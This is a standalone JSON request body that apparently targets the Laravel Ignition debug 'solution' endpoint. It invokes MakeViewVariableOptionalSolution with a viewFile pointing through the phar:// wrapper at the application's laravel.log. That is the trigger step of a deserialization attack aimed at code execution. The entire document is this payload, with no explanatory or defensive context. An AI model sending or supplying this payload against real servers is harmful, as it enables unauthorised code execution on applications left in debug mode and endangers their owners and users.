{ "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "phar://../storage/logs/laravel.log/test.txt" } }